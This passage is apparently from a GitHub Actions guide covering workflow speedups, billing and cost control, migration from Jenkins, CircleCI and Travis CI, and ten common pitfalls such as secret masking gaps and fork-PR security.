When multiple workflows share the same setup steps — checkout, install, cache, configure — each one independently resolves and downloads those actions. A composite action bundles these repeated steps into a single reusable unit, reducing action resolution overhead and keeping your workflows DRY.

yaml
# .github/actions/setup-node-project/action.yml
name: 'Setup Node Project'
description: 'Checkout, cache, and install dependencies'
inputs:
  node-version:
    description: 'Node.js version'
    default: '20'
runs:
  using: 'composite'
  steps:
    - uses: actions/checkout@v4
      shell: bash
    - uses: actions/setup-node@v4
      with:
        node-version: ${{ inputs.node-version }}
        cache: 'npm'
    - run: npm ci
      shell: bash

Now every workflow that needs a Node.js environment calls a single step instead of repeating three:

yaml
steps:
  - uses: ./.github/actions/setup-node-project
    with:
      node-version: '20'
  - run: npm test

Leveraging Pre-installed Tools on GitHub Runners

GitHub-hosted runners come with a rich set of pre-installed software: Node.js, Python, Java, Docker, Docker Compose, jq, curl, and many others. Every setup-* action you add costs 5–15 seconds to resolve and install. If the pre-installed version meets your requirements, skip the setup action entirely.

yaml
# Slow: downloads and installs Python even if 3.12 is pre-installed
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'

# Fast: uses whatever Python is on the runner
- run: python --version && pip install -r requirements.txt

Check the actions/runner-images repository for the exact software list on each runner image. The ubuntu-latest image, for example, includes Go, .NET, Rust toolchains, Terraform, Kubectl, Helm, and dozens of CLI tools that you may be redundantly installing.

Warning

Relying on pre-installed versions means your builds depend on GitHub's runner image updates. If you need a specific version for reproducibility, use setup-* actions and accept the time cost. The speed gain isn't worth a surprise breakage from a runner image update.

Putting It All Together

No single technique will halve your build time. The real speedup comes from combining several optimizations. Here's a summary of typical time savings to help you prioritize:

TechniqueTypical SavingsEffort
Dependency caching1–3 minutes per runLow
Matrix parallelism (4 shards)60–75% wall-clock reductionLow
Shallow checkout (depth: 1)10–60 seconds per runTrivial
Conditional path filteringEntire run skipped when irrelevantLow
Larger runners50–70% for CPU-bound tasksMedium (cost review)
Composite actions5–15 seconds per consolidated stepMedium
Skip redundant setup actions5–15 seconds per actionTrivial

Start with caching and path filters — they're low-effort, high-impact. Then add matrix parallelism for your slowest jobs. Only reach for larger runners when profiling shows a genuine CPU or memory bottleneck. Measure before and after each change using the workflow run timing data in the Actions tab.

Cost Management: Understanding and Controlling Spend

GitHub Actions is powerful, but every minute of compute time has a price tag. Without understanding the billing model, costs can escalate quickly — especially on macOS runners or with artifact-heavy workflows. This section breaks down how billing works, what you get for free, and concrete strategies to keep your spend under control.

How Minutes Are Counted

Every job in a workflow consumes billable minutes. The clock starts when the runner begins executing your job and stops when the job completes — including setup time, checkout, and any post-run cleanup steps. Each job is rounded up to the nearest minute, so a job that takes 1 minute and 5 seconds costs you 2 minutes.

Jobs running in parallel each consume their own minutes independently. A workflow with three parallel jobs that each take 4 minutes costs you 12 minutes total, not 4.

The OS Multiplier

Not all minutes are equal. GitHub applies a per-minute multiplier based on the runner's operating system. A single "raw" minute on macOS costs you 10 times what a Linux minute costs. This is the single biggest factor most teams overlook in their billing.

Runner OSMinute MultiplierEffective Cost per Minute (example)
ubuntu-latest$0.008
windows-latest$0.016
macos-latest10×$0.080

The "effective cost" column above uses the Team plan rate as an example. The multiplier itself is the key concept: a 10-minute macOS job eats 100 minutes from your included quota, while the same job on Linux eats only 10.

macOS Builds Add Up Fast

A team running 20 macOS CI builds per day at 8 minutes each would consume 32,000 included minutes per month (20 × 8 × 10× × 20 work days). That's well past even the Enterprise plan's free allotment. Run macOS jobs only when you genuinely need to test on Apple hardware.

Larger Runners

GitHub-hosted larger runners (4-core, 8-core, 16-core, and above) provide more CPU and RAM but are billed at higher per-minute rates. These runners do not use the minute multiplier system — instead, they have a flat per-minute rate based on the runner size. For example, a Linux 4-core runner costs $0.016/min and a Linux 16-core runner costs $0.064/min.

Larger runners make sense when your jobs are CPU-bound (compilation, test suites that run in parallel). A job that takes 20 minutes on a 2-core runner but only 6 minutes on an 8-core runner may actually be cheaper on the bigger machine — and your developers get faster feedback.

Storage Costs: Artifacts and Caches

Billing isn't only about compute. GitHub Actions also charges for storage used by artifacts and caches. Each plan includes a storage quota (e.g., 500 MB on Free, 2 GB on Team). Storage beyond the included amount is billed at $0.25 per GB per month.

Artifacts and caches both count against this limit, but they behave differently:

  • Artifacts persist after a workflow finishes. The default retention is 90 days (configurable down to 1 day).
  • Caches are evicted automatically if not accessed for 7 days, and have a per-repository cap of 10 GB.

Free Tier and Plan Allotments

Every GitHub plan comes with a monthly allotment of included minutes and storage. Once you exceed the included minutes, overage is billed per minute at the rates tied to each OS multiplier.

PlanIncluded Minutes/MonthIncluded Storage
Free2,000500 MB
Team3,0002 GB
Enterprise50,00050 GB
Public Repositories Are Free

Workflows running on public repositories consume zero billable minutes on standard GitHub-hosted runners. The free tier and per-minute billing apply only to private and internal repositories.

Spending Limits and Usage Reports

By default, GitHub sets a spending limit of $0 for Actions on your account or organization. This means once your included minutes are exhausted, workflows simply stop running — no surprise bills. You can raise or remove this limit under Settings → Billing → Spending limits.

To monitor usage, navigate to Settings → Billing → Usage this month. You'll see a breakdown of minutes consumed per repository and per OS. For organizations, admins can also download a detailed CSV usage report that lists every workflow run, its duration, and the multiplied minutes consumed. Review this report monthly to spot cost spikes early.

Strategies to Reduce Costs

You don't need to sacrifice CI quality to cut costs. Most savings come from eliminating unnecessary work — runs that didn't need to happen or jobs that could have been faster.

1. Tighten Workflow Triggers

The most effective cost reduction is not running workflows at all when they aren't needed. Use paths and paths-ignore filters so that documentation changes don't trigger your full test suite, and branches filters to avoid running on irrelevant branches.

yaml
on:
  push:
    branches: [main, release/*]
    paths-ignore:
      - 'docs/**'
      - '*.md'
      - '.gitignore'
  pull_request:
    paths:
      - 'src/**'
      - 'tests/**'
      - 'package.json'

With paths filters, a PR that only updates README.md won't trigger a single billable minute. On an active repository with frequent documentation updates, this alone can save hundreds of minutes per month.

2. Cancel Redundant Runs with Concurrency

When a developer pushes multiple commits in quick succession, each push triggers a separate workflow run. Use the concurrency key to automatically cancel in-progress runs that are superseded by a newer commit.

yaml
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

3. Cache Dependencies Aggressively

Downloading and installing dependencies from scratch on every run wastes both time and minutes. Use actions/cache or the built-in caching in setup actions (like actions/setup-node) to persist node_modules, pip packages, Maven local repos, and other dependency directories between runs.

yaml
- uses: actions/setup-node@v4
  with:
    node-version: 20
    cache: 'npm'

# Or use actions/cache directly for custom paths
- uses: actions/cache@v4
  with:
    path: ~/.gradle/caches
    key: gradle-${{ runner.os }}-${{ hashFiles('**/*.gradle*') }}
    restore-keys: gradle-${{ runner.os }}-

A warm cache can cut 2–5 minutes off a typical Node.js or Java build. Across hundreds of runs per month, that's a significant saving.

4. Choose the Right Runner for Each Job

Don't run everything on macOS "just in case." Structure your workflow so that linting, unit tests, and most build steps happen on Linux. Reserve macOS and Windows runners exclusively for platform-specific tests.

yaml
jobs:
  lint-and-test:
    runs-on: ubuntu-latest          # 1× multiplier
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

  macos-integration:
    needs: lint-and-test             # Only runs if lint passes
    runs-on: macos-latest            # 10× multiplier
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run test:e2e:macos

By gating the macOS job behind the Linux job with needs, you avoid burning macOS minutes on code that would fail the basic lint check anyway.

5. Clean Up Artifacts and Set Short Retention

Don't keep build artifacts around for 90 days if you only need them for a deployment that happens within hours. Set retention-days on your artifact uploads to the minimum you need. For most CI artifacts, 1–7 days is plenty.

yaml
- uses: actions/upload-artifact@v4
  with:
    name: build-output
    path: dist/
    retention-days: 3
Audit Monthly, Optimize Quarterly

Set a calendar reminder to check your Actions usage report once a month. Look for workflows with high run counts but low value (scheduled jobs that could run less frequently, matrix builds testing OS versions nobody uses). A quarterly review of your workflow architecture — merging redundant workflows, pruning stale matrix entries — typically yields 20–40% savings.

Migration Guide: Jenkins, CircleCI, and Travis CI

Migrating CI/CD pipelines to GitHub Actions doesn't require a full rewrite. Each major CI system — Jenkins, CircleCI, and Travis CI — has direct conceptual counterparts in GitHub Actions. Once you understand the mapping, you can translate pipelines systematically rather than guessing.

This guide gives you side-by-side comparisons for each platform so you can see exactly how your existing configurations translate.

Concept Mapping at a Glance

Before diving into code, here's how the core concepts align across all four systems. Use this as a quick-reference cheat sheet during migration.

ConceptJenkinsCircleCITravis CIGitHub Actions
Config fileJenkinsfile.circleci/config.yml.travis.yml.github/workflows/*.yml
Pipeline unitStageJobJob (lifecycle)Job
Task unitStepStepScript blockStep
Reusable logicShared LibraryOrbBuild importReusable Workflow / Action
Execution envAgent / NodeExecutoros: / dist:Runner (runs-on)
Plugins / ExtensionsJenkins PluginOrbAdd-onsAction
SecretsCredentials storeContext / Env varsEnv vars (settings)Secrets & Variables
ParallelismParallel stagesParallelism keyMatrix buildsMatrix strategy
CachingPlugin-basedBuilt-in save_cache/restore_cacheBuilt-in cache:actions/cache

Migrating from Jenkins

Jenkins Declarative Pipelines use Jenkinsfile with a pipeline block containing stages and steps. GitHub Actions maps these cleanly: Jenkins stages become GitHub Actions jobs, and Jenkins steps become GitHub Actions steps. The agent directive maps to runs-on.

Jenkinsfile → GitHub Actions Workflow

groovy
pipeline {
    agent any
    environment {
        NODE_ENV = 'production'
    }
    stages {
        stage('Install') {
            steps {
                sh 'npm ci'
            }
        }
        stage('Test') {
            steps {
                sh 'npm test'
            }
        }
        stage('Build') {
            steps {
                sh 'npm run build'
            }
        }
        stage('Deploy') {
            when {
                branch 'main'
            }
            steps {
                sh './deploy.sh'
            }
        }
    }
    post {
        failure {
            mail to: 'team@example.com',
                 subject: "Build failed: ${env.JOB_NAME}",
                 body: "Check ${env.BUILD_URL}"
        }
    }
}
yaml
name: CI/CD Pipeline
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

env:
  NODE_ENV: production

jobs:
  install-and-test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm test

  build:
    needs: install-and-test
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm run build

  deploy:
    needs: build
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh

  notify-on-failure:
    needs: [install-and-test, build, deploy]
    if: failure()
    runs-on: ubuntu-latest
    steps:
      - uses: dawidd6/action-send-mail@v3
        with:
          server_address: smtp.example.com
          server_port: 587
          username: ${{ secrets.MAIL_USER }}
          password: ${{ secrets.MAIL_PASS }}
          subject: "Build failed: ${{ github.workflow }}"
          to: team@example.com
          body: "Check ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
Key Difference: Checkout Is Explicit

Jenkins automatically clones your repository when a pipeline starts. GitHub Actions does not — you must add actions/checkout@v4 as the first step in every job that needs source code. Each job runs on a fresh runner with no shared filesystem.

Shared Libraries → Reusable Workflows & Custom Actions

Jenkins Shared Libraries let you extract common pipeline logic into a separate Git repository and call it with @Library. GitHub Actions offers two equivalents: reusable workflows (for entire job sequences) and custom actions (for individual step logic). Reusable workflows are the closer analog to shared libraries.

groovy
// vars/deployToK8s.groovy (in shared library repo)
def call(String env, String image) {
    sh "kubectl set image deployment/app app=${image} --namespace=${env}"
    sh "kubectl rollout status deployment/app --namespace=${env}"
}

// Jenkinsfile (consumer)
@Library('my-shared-lib') _
pipeline {
    agent any
    stages {
        stage('Deploy') {
            steps {
                deployToK8s('staging', 'myapp:latest')
            }
        }
    }
}
yaml
# .github/workflows/deploy-k8s.yml (in shared repo)
on:
  workflow_call:
    inputs:
      environment:
        required: true
        type: string
      image:
        required: true
        type: string

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: |
          kubectl set image deployment/app app=${{ inputs.image }} \
            --namespace=${{ inputs.environment }}
          kubectl rollout status deployment/app \
            --namespace=${{ inputs.environment }}

# Consumer workflow: .github/workflows/ci.yml
name: CI
on: push
jobs:
  deploy:
    uses: my-org/shared-workflows/.github/workflows/deploy-k8s.yml@main
    with:
      environment: staging
      image: myapp:latest

Jenkins Plugin → GitHub Action Equivalents

Most popular Jenkins plugins have direct GitHub Action counterparts. Here are the most common mappings:

Jenkins PluginGitHub Action Equivalent
NodeJS Pluginactions/setup-node@v4
Docker Pipelinedocker/build-push-action@v5
Slack Notificationslackapi/slack-github-action@v1
JUnit Plugindorny/test-reporter@v1
Git Pluginactions/checkout@v4
Credentials Binding${{ secrets.MY_SECRET }} (built-in)
Pipeline: Stage ViewActions tab (built-in visualization)
Artifactory Pluginjfrog/setup-jfrog-cli@v3

Migrating from CircleCI

CircleCI's YAML-based configuration is structurally the closest to GitHub Actions. The migration is often the smoothest of the three because both systems use YAML workflows, job-based parallelism, and a marketplace of reusable components. The main differences are in naming conventions and where things live in the config hierarchy.

CircleCI Config → GitHub Actions Workflow

yaml
version: 2.1

orbs:
  node: circleci/node@5.1

executors:
  default:
    docker:
      - image: cimg/node:20.10

jobs:
  test:
    executor: default
    steps:
      - checkout
      - node/install-packages:
          pkg-manager: npm
      - run:
          name: Run tests
          command: npm test
      - store_test_results:
          path: test-results

  build:
    executor: default
    steps:
      - checkout
      - node/install-packages:
          pkg-manager: npm
      - run: npm run build
      - persist_to_workspace:
          root: .
          paths: [dist]

  deploy:
    executor: default
    steps:
      - attach_workspace:
          at: .
      - run: ./deploy.sh

workflows:
  build-test-deploy:
    jobs:
      - test
      - build:
          requires: [test]
      - deploy:
          requires: [build]
          filters:
            branches:
              only: main
yaml
name: Build, Test, Deploy
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm test

  build:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

  deploy:
    needs: build
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist/
      - run: ./deploy.sh

Key CircleCI Mappings

Here are the specific translations to keep in mind when converting CircleCI configuration:

CircleCI FeatureGitHub Actions EquivalentNotes
orbs:Marketplace Actions (uses:)Actions are referenced per-step, not declared at the top
executors:runs-on: + container:Use container: key for Docker-based executors
persist_to_workspaceactions/upload-artifact@v4Artifacts are uploaded/downloaded explicitly between jobs
attach_workspaceactions/download-artifact@v4Must specify artifact name to download
store_test_resultsdorny/test-reporter@v1No built-in test results; use a community action
save_cache / restore_cacheactions/cache@v4Single action handles both save and restore
context:Environments + SecretsGitHub Environments provide similar scoped secrets and approvals
filters: branches:if: condition on the jobBranch filtering uses expressions like github.ref == 'refs/heads/main'
Docker Executors in GitHub Actions

If your CircleCI jobs use custom Docker images as executors, add a container: key under the job in GitHub Actions: container: { image: 'cimg/node:20.10' }. This runs the job inside that container on top of the runner VM.

Migrating from Travis CI

Travis CI uses a lifecycle-based model where your build flows through fixed phases: install, before_script, script, after_success, etc. GitHub Actions doesn't enforce this lifecycle — you define each step explicitly. This gives you more flexibility but means you need to be deliberate about ordering.

.travis.yml → GitHub Actions Workflow

yaml
language: node_js
node_js:
  - "18"
  - "20"

os: linux
dist: focal

cache:
  directories:
    - node_modules

branches:
  only:
    - main
    - develop

install:
  - npm ci

before_script:
  - npm run lint

script:
  - npm test
  - npm run build

after_success:
  - npm run coverage:upload

deploy:
  provider: pages
  skip_cleanup: true
  local_dir: dist
  on:
    branch: main
yaml
name: CI
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [18, 20]

    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
          cache: npm

      - run: npm ci                   # install phase
      - run: npm run lint             # before_script phase
      - run: npm test                 # script phase
      - run: npm run build

      - run: npm run coverage:upload  # after_success
        if: success()

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm
      - run: npm ci
      - run: npm run build
      - uses: peaceiris/actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./dist

Travis CI Lifecycle → GitHub Actions Steps

The Travis lifecycle phases map to sequential steps in a single GitHub Actions job. Here's the direct translation of each phase:

Travis CI PhaseGitHub Actions EquivalentBehavior
before_installEarly run: stepsSystem-level setup (apt-get, etc.)
installrun: npm ciDependency installation
before_scriptrun: step before testsLinting, environment prep
scriptrun: test / build stepsMain build and test commands
after_successrun: with if: success()Runs only when all previous steps passed
after_failurerun: with if: failure()Runs only when a previous step failed
deploySeparate job with needs:Use dedicated actions for each deploy provider
language + version liststrategy.matrixMatrix creates parallel runs for each version
cache: directories:actions/cache@v4 or setup-node cache:Many setup actions include built-in caching

Common Migration Gotchas

Regardless of which system you're migrating from, these are the issues that catch teams most often during their first GitHub Actions migration.

Watch Out for These Pitfalls
  • No shared filesystem between jobs. Every job runs on a fresh VM. Use actions/upload-artifact and actions/download-artifact to pass files between jobs — or combine steps into a single job when the data transfer overhead isn't worth it.
  • Secrets are not available in forked PRs. If your CI runs on pull requests from forks, steps that reference ${{ secrets.* }} will get empty strings. Use pull_request_target carefully or design tests that work without secrets.
  • Default shell differences. Jenkins typically uses sh (via the Jenkins shell step), while GitHub Actions on ubuntu-latest defaults to bash. If you're migrating scripts with subtle shell-isms, set shell: sh explicitly to match behavior.
  • Checkout depth. actions/checkout@v4 does a shallow clone (depth=1) by default. If your pipeline uses git log, tags, or history-based versioning, set fetch-depth: 0 for a full clone.

Step-by-Step Migration Checklist

Use this process regardless of which CI system you're coming from. It works well for incremental migration — you don't need to move everything at once.

  1. Inventory your existing pipelines

    List every pipeline, its trigger conditions, environment variables, secrets, and external integrations. Identify which pipelines are critical-path (blocking merges) versus auxiliary (nightly builds, cleanup jobs).

  2. Map secrets and credentials

    Add all required secrets to GitHub under Settings → Secrets and variables → Actions. For environment-scoped secrets (staging vs production), create GitHub Environments and assign secrets to each.

  3. Convert one pipeline at a time

    Start with a simple, non-critical pipeline. Translate it using the mappings in this guide. Run both old and new pipelines in parallel to verify identical behavior.

  4. Replace plugins with actions

    Search the GitHub Actions Marketplace for equivalents to your Jenkins plugins, CircleCI orbs, or Travis add-ons. Pin actions to a specific version tag (e.g., @v4) for reproducibility.

  5. Extract shared logic into reusable workflows

    If multiple pipelines share common steps (deploy, notify, lint), create reusable workflows with workflow_call in a dedicated repository. Reference them from consumer workflows with uses: org/repo/.github/workflows/shared.yml@main.

  6. Decommission the old system

    Once the GitHub Actions workflow has been running reliably for 1–2 weeks alongside the old pipeline, disable the old CI triggers. Keep the old config files in version history — don't delete them immediately — in case you need to reference them.

Common Pitfalls, Gotchas, and How to Avoid Them

GitHub Actions is powerful, but its surface area is large — and the edges are sharp. This section catalogs the ten most common pitfalls that catch even experienced users off guard, with concrete examples and fixes for each one.

1. Expression Syntax in if: — The Implicit ${{ }} Trap

GitHub Actions automatically wraps if: values in ${{ }}, so you can write bare expressions. But this implicit wrapping only applies to if: conditionals — nowhere else. Mixing the two styles leads to subtle bugs.

yaml
# Both work for if: — bare expression is fine here
if: github.event_name == 'push'
if: ${{ github.event_name == 'push' }}

# But env:, run:, and with: REQUIRE explicit ${{ }}
env:
  IS_MAIN: ${{ github.ref == 'refs/heads/main' }}
run: echo "Deploying to ${{ github.ref_name }}"
yaml
# BUG: bare expression in env: is treated as a literal string
env:
  IS_MAIN: github.ref == 'refs/heads/main'
  # IS_MAIN now literally equals "github.ref == 'refs/heads/main'"

# BUG: double-wrapping in if: can cause string coercion issues
if: ${{ github.event.inputs.deploy == 'true' }}
# Safe, but if: github.event.inputs.deploy == 'true' is cleaner
# The risk: nested ${{ }} in complex expressions can silently
# coerce values to strings before comparison
Why this matters for security

When you use ${{ }} inside a run: block, the expression value is interpolated before the shell sees it. This opens the door to script injection if the value comes from untrusted input like a PR title. Prefer setting an environment variable with env: and referencing $ENV_VAR in the script instead.

2. Secret Masking Limitations

GitHub Actions automatically masks secrets in log output — but the masking is purely a string-match against the exact secret value. If the value is transformed, encoded, or split across lines, it will leak in plain text.

What masking does NOT catch

  • Base64-encoded secretsecho "$SECRET" | base64 outputs the encoded form unmasked.
  • JSON-structured secrets — Individual fields within a JSON secret are not masked, only the entire blob.
  • Short secrets — Values shorter than 4 characters are never masked at all.
  • Secrets in error URLs — A secret accidentally embedded in a URL that appears in an error message will show up verbatim.
yaml
# Danger: derived values are NOT masked automatically
- run: |
    # This will print the base64 value in clear text!
    echo "$MY_SECRET" | base64

    # Fix: register derived values as masked
    ENCODED=$(echo "$MY_SECRET" | base64)
    echo "::add-mask::$ENCODED"
    echo "encoded=$ENCODED" >> "$GITHUB_OUTPUT"
  env:
    MY_SECRET: ${{ secrets.API_KEY }}

Rule of thumb: any time you transform a secret, immediately call ::add-mask:: on the result before it can reach a log line.

3. GITHUB_TOKEN Permission Gotchas

The automatic GITHUB_TOKEN is scoped per-workflow-run. Starting in 2023, new repositories default to read-only permissions. This trips up anyone who expects the token to just work for pushing commits, creating releases, or writing to packages.

yaml
# Declare permissions at the TOP of your workflow
permissions:
  contents: write    # needed to push tags, create releases
  pull-requests: write  # needed to comment on PRs
  packages: write    # needed to publish to GHCR

jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: |
          git tag v1.0.0
          git push origin v1.0.0
Common TaskPermission NeededDefault (New Repos)
Checkout codecontents: read✅ Granted
Push commits/tagscontents: write❌ Denied
Comment on PRspull-requests: write❌ Denied
Publish to GHCRpackages: write❌ Denied
Create deploymentsdeployments: write❌ Denied
Read org secretssecrets: read (org-level)❌ Denied

Two additional gotchas: the GITHUB_TOKEN cannot trigger other workflows (to prevent recursive loops), and it cannot access resources in other repositories. For cross-repo operations you need a GitHub App token or a PAT.

4. Caching Across Branches

The actions/cache action has branch-scoping rules that confuse many users. A cache created on a feature branch is not available to the default branch. Caches follow a specific lookup hierarchy: the current branch first, then the base branch (for PRs), then the default branch.

yaml
# Cache lookup order for a PR from feature/x -> main:
#   1. Exact key match on refs/pull/123/merge
#   2. restore-keys prefix match on refs/pull/123/merge
#   3. Exact key match on refs/heads/main (base branch)
#   4. restore-keys prefix match on refs/heads/main

- uses: actions/cache@v4
  with:
    path: ~/.npm
    # Include the hashFiles so cache invalidates when deps change
    key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
    # Fallback: any npm cache on this OS (allows partial hits)
    restore-keys: |
      npm-${{ runner.os }}-

Practical implications

  • Warm your default branch cache first. Run the workflow on main after merging so that feature branches can inherit the cache.
  • Cache is per-repo. Forked repositories have completely separate cache namespaces — fork PRs start cold.
  • 10 GB limit per repo. Once exceeded, the oldest entries are evicted. Use precise keys to avoid cache bloat.

5. Matrix Job Naming Collisions

When you use a matrix strategy, GitHub generates job names by appending the matrix values. If your matrix produces duplicate display names, required status checks break because GitHub cannot distinguish the jobs. This frequently happens with complex matrices that include/exclude entries.

yaml
# Problem: changing the matrix breaks required status checks
# because the job name changes from "test (18)" to "test (20)"
jobs:
  test:
    strategy:
      matrix:
        node: [18, 20, 22]  # If you remove 18, the check name changes

# Fix: use an explicit name that's stable
jobs:
  test:
    strategy:
      matrix:
        node: [18, 20, 22]
    name: "test (node-${{ matrix.node }})"
    runs-on: ubuntu-latest
    steps:
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}

For branch protection rules, always set the required status check to match the exact generated name including the matrix value in parentheses. If you use include: to add extra matrix dimensions, remember that those values also appear in the name. Test the naming by triggering a run before configuring the branch protection rule.

6. Concurrency Group Pitfalls

The concurrency key prevents multiple runs of the same workflow from overlapping. But an incorrect group key can cause unrelated runs to cancel each other, or fail to cancel runs you actually want to deduplicate.

yaml
# BAD: group is just the workflow name — ALL branches share it
# Pushing to feature-a cancels the running deploy on main!
concurrency:
  group: deploy
  cancel-in-progress: true

# GOOD: scope the group to the branch/PR
concurrency:
  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
  cancel-in-progress: true

# CAREFUL: for production deploys, do NOT cancel in progress
concurrency:
  group: deploy-production
  cancel-in-progress: false  # queue instead of cancel
Don't cancel production deploys

Using cancel-in-progress: true on deployment workflows can leave your infrastructure in a partially-deployed state. For production jobs, use cancel-in-progress: false — the pending run will queue and start after the current one finishes.

Also note: github.head_ref is only set for pull_request events. The || github.ref fallback ensures the group key is still unique for push events. Without it, all push-triggered runs would share the empty-string group and cancel each other.

7. Path Filter Edge Cases

Path filters (paths: and paths-ignore:) control whether a workflow triggers based on which files changed. The edge cases are numerous and often surprising.

Key gotchas

  • First commit on a new branch: the diff is computed against the default branch. If the branch has many unrelated changed files, the path filter may fire unexpectedly.
  • Required status checks + path filters = deadlock: if the workflow doesn't trigger (because no paths matched), the PR is stuck waiting for a check that will never arrive.
  • Merge commits: the diff includes all files in the merge, not just the files in the PR. Merge commits from main into a feature branch can trigger path-filtered workflows unexpectedly.
yaml
# The "required checks" workaround:
# Use dorny/paths-filter inside the job instead of trigger-level paths:
on: pull_request

jobs:
  check-changes:
    runs-on: ubuntu-latest
    outputs:
      backend: ${{ steps.filter.outputs.backend }}
    steps:
      - uses: dorny/paths-filter@v3
        id: filter
        with:
          filters: |
            backend:
              - 'src/api/**'
              - 'src/models/**'

  test-backend:
    needs: check-changes
    if: needs.check-changes.outputs.backend == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

This approach ensures the parent workflow always triggers (satisfying the required check), while the expensive test job is conditionally skipped. The status check name remains consistent regardless of which files changed.

8. Fork PR Security

When a contributor opens a PR from a fork, the workflow runs in a restricted security context. This is by design — the fork author could modify the workflow file to exfiltrate secrets. Understanding the boundaries is critical for public repositories.

Capabilitypull_request from forkpull_request_target
Secrets available❌ No✅ Yes
GITHUB_TOKEN permissionsRead-onlyWrite (base repo scope)
Code checked outFork's merge commitBase branch (not fork)
Workflow file usedFork's versionBase branch version
Never checkout fork code with pull_request_target

A common anti-pattern is using pull_request_target to get secrets, then checking out the fork's code with actions/checkout@v4 using ref: ${{ github.event.pull_request.head.sha }}. This gives the fork's potentially malicious code access to your secrets. If you need to build fork code with secrets, use a two-workflow approach: one untrusted job that produces artifacts, and a separate trusted workflow that consumes them.

yaml
# SAFE pattern: pull_request_target that only reads base branch code
on: pull_request_target

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      # This checks out the BASE branch, not the fork — safe
      - uses: actions/checkout@v4
      - uses: actions/labeler@v5
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}

9. Schedule (Cron) Drift and Reliability

The schedule trigger uses POSIX cron syntax and runs on the default branch only. But scheduled workflows are not guaranteed to run at the exact specified time — during periods of high load, delays of 10–30 minutes (or more) are common.

Things that go wrong

  • Inactive repos lose their schedules. If a repository has no commits, issues, or other activity for 60 days, GitHub silently disables scheduled workflows. You must re-enable them manually in the Actions tab.
  • Cron runs only on the default branch. A scheduled workflow on a feature branch will never fire. The cron definition in the default branch's workflow file is the only one that matters.
  • Minute-level precision is unreliable. Don't depend on exact timing. If your job needs to run within a tight window, consider an external scheduler (e.g., AWS EventBridge) that triggers via workflow_dispatch.
  • Multiple cron entries: you can specify up to 5 schedules, but they share the same workflow — you can't easily distinguish which schedule triggered the current run.
yaml
on:
  schedule:
    # Run at 06:00 UTC on weekdays
    - cron: '0 6 * * 1-5'
  # Also allow manual trigger for testing
  workflow_dispatch:

jobs:
  nightly:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: |
          # Defensive: verify we haven't drifted too far
          HOUR=$(date -u +%H)
          if [ "$HOUR" -gt 8 ]; then
            echo "::warning::Cron ran ${HOUR}:xx UTC, expected ~06:00"
          fi
          npm run integration-tests

10. Action Version Pinning and Breaking Changes

Referencing actions by major version tag (e.g., @v4) is the most common approach, but it's a floating reference — the maintainer can push a new minor or patch release that changes behavior. On the other end, pinning to a full commit SHA is the most secure but makes updates tedious.

yaml
# OPTION 1: Major version tag (convenient, less secure)
- uses: actions/checkout@v4

# OPTION 2: Full SHA pin (secure, hard to maintain manually)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

# OPTION 3: SHA pin + Dependabot (best of both worlds)
# Add .github/dependabot.yml:
# updates:
#   - package-ecosystem: "github-actions"
#     directory: "/"
#     schedule:
#       interval: "weekly"
StrategySecurityMaintenanceRecommended For
Major tag (@v4)Medium — trusts maintainerLowPersonal projects, trusted actions
Exact tag (@v4.1.1)Medium — tags are mutableMediumNot recommended (false sense of security)
SHA pinHigh — immutable referenceHigh (without automation)Production, compliance-sensitive repos
SHA pin + DependabotHighLowBest practice for all repositories
Surviving major version bumps

When a popular action releases a new major version (e.g., actions/cache@v3v4), your existing @v3 reference keeps working — but it stops receiving patches. Subscribe to the action's repository releases (Watch → Custom → Releases) so you know when to migrate. Most major bumps drop support for older Node.js runtimes, which matters because GitHub periodically removes old runner Node.js versions.

The combination of SHA pinning with Dependabot (or Renovate) automated PRs gives you both security and maintainability. The bot creates PRs with updated SHAs, you review the changelog, and merge — keeping your workflows deterministic without manual hash hunting.